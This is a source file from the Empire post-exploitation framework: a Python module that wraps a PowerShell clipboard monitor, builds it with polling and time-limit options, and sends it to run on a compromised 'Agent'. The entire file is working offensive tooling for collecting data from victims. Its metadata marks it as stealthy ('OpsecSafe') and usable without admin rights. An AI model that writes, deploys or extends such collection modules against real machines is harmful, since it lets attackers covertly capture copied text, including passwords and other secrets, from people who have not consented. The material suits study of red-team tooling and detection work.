Empire/lib/modules/collection/clipboard_monitor.py

89 lines
2.8 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-ClipboardContents',
'Author': ['@harmj0y'],
'Description': ('Monitors the clipboard on a specified interval for changes to copied text.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from-powershell/'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'CollectionLimit' : {
'Description' : "Specifies the interval in minutes to capture clipboard text. Defaults to indefinite collection.",
'Required' : False,
'Value' : ''
},
'PollInterval' : {
'Description' : "Interval (in seconds) to check the clipboard for changes, defaults to 15 seconds.",
'Required' : True,
'Value' : '15'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Get-ClipboardContents.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "Get-ClipboardContents"
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script